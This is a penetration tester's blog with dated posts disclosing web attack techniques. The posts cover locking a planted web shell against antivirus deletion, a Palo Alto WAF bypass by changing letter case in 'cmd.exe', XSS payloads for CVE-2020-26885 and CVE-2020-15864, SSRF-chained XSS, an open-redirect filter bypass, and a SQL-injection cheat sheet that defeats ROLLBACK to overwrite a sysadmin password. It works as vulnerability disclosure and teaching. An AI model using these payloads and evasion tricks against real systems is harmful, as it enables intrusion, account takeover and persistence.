Tuesday, April 6, 2021

Bamboozle D 3 f en d e r Effortlessly (BDE) - File Lock on Shell Code

Still confirming this is working the way I intend it, updates and detailed POC to follow...


I found RCE in a web application, and place a web shell file in a publicly facing directory on the server. However, AV keeps deleting it, so as part of my command injection, I spin up a process to put a file handle on the shell. Even though defender is detecting it, it's not deleting it. (I know it's detecting it because I've also gained remote desktop access and can see the alerts.)


In the past I have focused mainly on detection evasion but deletion evasion is looking a lot easier right now.


UPDATE: Well, turns out my webshell was a low-priv account, but the process I was doing command injection through was running as NT AUTHORITY\SYSTEM, so woot! No wonder I can successfully lock the webshell file using a process that starts on startup. This doesn't work for Meterpreter payloads that spin off their own processes that then become detected. So maybe it works, but it's limited.

Sidenote:

A bit about how difficult it was to figure out I was root when my RCE was Java arbitrary code execution...


The webshell was written to C:\inetpub\wwwroot by my Java process. It executed commands as a low privilege AppPool type IIS user. Running whoami through the shell will tell you this


Asking the Java Virtual Machine  was a little useless. Calling System.getProperty("user.name") just returns the USERNAME environment variable from (I believe) when the JVM was initiated. This gave me PC-NAME$ where PC was the domain name of another user I got access another way, i.e. PC-NAME\otheruser.


FINALLY I got the idea to run "cmd.exe /c whoami" directly through the Java injection, write the results to a publicly served directory and check out the results. NT AUTHORITY\SYSTEM! Whew! At this point I guess I don't need evasion, I could just turn off the AV!




Sunday, November 29, 2020

Palo Alto Networks - WAF Bypass for Webshell

I originally found/reported to Palo Alto in 2018.

You can use the default Kali Linux aspx webshell to get RCE on a server protected by Palo Alto Networks... as long as you change the "m" in cmd.exe to an "M".

That's it! That's the whole hack..! It bypasses the whitelist.

So my discovery process...

While I was trying to upload my webshell, I noticed the font of the error looked different than the rest of the application. I googled the wording, trying to figure out what service was displaying it. It looked similar to an image of a Palo Alto dialog:

Mine:

Theirs:

 

Close enough - I assumed I was dealing with a Palo Alto firewall. The logs confirmed this was true. The bypass worked and eventually I upgraded my webshell to a Meterpreter shell. The Palo Alto WAF bypass process wasn't fancy, but it was instrumental in owning the server.

 


 

 



Monday, October 26, 2020

CVE-2020-26885 XSS in Anchor Tags

For CVE-2020-26885, the AWS WAF made it difficult to get XSS payloads through to the server, but I was able to rely on the client to execute one by using the anchor tag in the URL to exploit it:


/test.html#variable1=true&app=3&version=">IMG%20SRC=%23%20onerror="alert('burninatorsec')">


https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

Sunday, October 4, 2020

CVE-2020-15864 - XSS in Quali CloudShell Login

Payload:

{{constructor.constructor(%27alert(19891337)%27)()}

Add "username" as a parameter to the login URL to reference the username field of the Quali CloudShell login page, and the JavaScript will execute when they visit the URL, i.e.


https://victim/Account/Login?ReturnUrl%252fAccount%252f%&username={{constructor.constructor(%27alert(1337)%27)()}}

 

Note: <sCript>alert(1337)<scRipt> works too, but isn't as dangerous because it won't autoload through the URL like the constructor payload does.

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15864



 



Wednesday, September 2, 2020

CVE-2020-13972 - XSS via SSRF in Enghouse/Zeacom web chat

Here's a chained attack of a known SSRF issue (CVE-2019-16948 / CVE-2019-16951 ) in order to get XSS in Enghouse Web Chat 6.2.284.34.

When an attacker enters their own URL in the WebServiceLocation parameter, the response from the POST request is displayed by the application client side, and any JavaScript returned from the external server is executed in the browser.


For example, the attacker injects their URL (ending in /ooowee):


The endpoint at /ooowee is returning a XSS payload as a POST response (using mdonkers script from GitHub for a quick server to spin up):

The XSS payload pops for the client:




Tuesday, August 11, 2020

Filter Bypass for Open Redirect

Trying to add a redirect payload through a URL parameter (but it's just getting harmlessly tacked to the end of the domain)? Bypass by adding the same parameter twice. When the link is displayed on the page, the browser adds a comma and breaks up the pattern:


So, this fails:


whatever.com/cc?DestPage=/"><a%20href="badsite.com">

 

...because it redirects to whatever.com/badsite.com.



But, this succeeds, redirecting to badsite.com:


whatever.com/cc?DestPage=">&DestPage=<a%20href="badsite.com">


PS This also works for XSS payloads, though in this case, wouldn't require the double-parameter trick. It's probably more common for open redirects, but let me know!

 

 

Saturday, April 4, 2020

SQL Rollback Hack

Ever seen an application display a message like "changes will be rolled back", particularly after a SQL operation? This may be a clue that access is controlled by the SQL transaction keyword ROLLBACK. Here's how to exploit it and persist your changes!

First, a little bit of background...(tl;dr: there's a cheatsheet at the bottom)

Normally, the ROLLBACK keyword is used for error-catching when performing a series of SQL statements. The syntax goes BEGIN [statement1, statement2, etc.] COMMIT. You can put a ROLLBACK in between any of those statements to undo all of the statements leading up to it if one happens to fail. For example, let's say you're deleting records from parent and child tables. You'd want to wrap both delete statements in a BEGIN/COMMIT, so that if, say, the parent record was deleted successfully but the child record was not (maybe some foreign key was violated or some other error), all changes to both records can be undone using ROLLBACK. This safely preserves the relationship of the tables, and prevents data from "breaking". No parent or child record is left an orphan in this case.

ROLLBACK is great, but should not be used for preventing a user from making changes to the database. It's not made for access control. Here's how to bypass it, assuming it's (most likely) using a BEGIN and ROLLBACK block around all the user input (whether that may be SQL injection, or whatever way you've found to run SQL).


Inject a "commit" to perform a simple update. If it gives an error about mismatching BEGIN and COMMIT statements, that's confirmation it's vulnerable and you've succeeded in changing the data. In this case, we're updating a sysadmin's encrypted password to be the same as our own password so we can take over the account:

UPDATE User SET Password = 'f233dfgxm8913=' WHERE Name = 'sysadmin'

Transaction count after EXECUTE indicates a mismatching number of BEGIN and COMMIT statements. Previous count = 1, current count = 0


Success! But what about more complex statements, such as CREATE or ALTER? There will be error messages like the statement "must be first statement in query batch" or it's "not allowed in multi-statement transaction." Well, for the CREATE, wrapping the statement in an EXEC and then committing works. My guess is that this is because EXEC is designed to work within the transaction first, making the command technically "first". Either way, it works. But only if the COMMIT is added after.

EXEC('CREATE PROCEDURE Hacked(@uhoh VARCHAR(1)) AS BEGIN SELECT @@VERSION END') COMMIT;

As for the "multi-statement transaction" error, we can COMMIT first, and then wrap the statement in EXEC. But, only if the COMMIT is added before.

COMMIT EXEC('ALTER DATABASE clientsdb SET TRUSTWORTHY ON')


TL;DR Cheat Sheet:

1. To complete basic DELETE, INSERT, and UPDATE statements, use a COMMIT after your statement

2. To complete statements such as CREATE PROCEDURE that contain a BEGIN statement, use EXEC('[your statement]') and then COMMIT

3. To complete ALTER/CREATE or DELETE DATABASE (uh...) use COMMIT and then EXEC('[your statement]')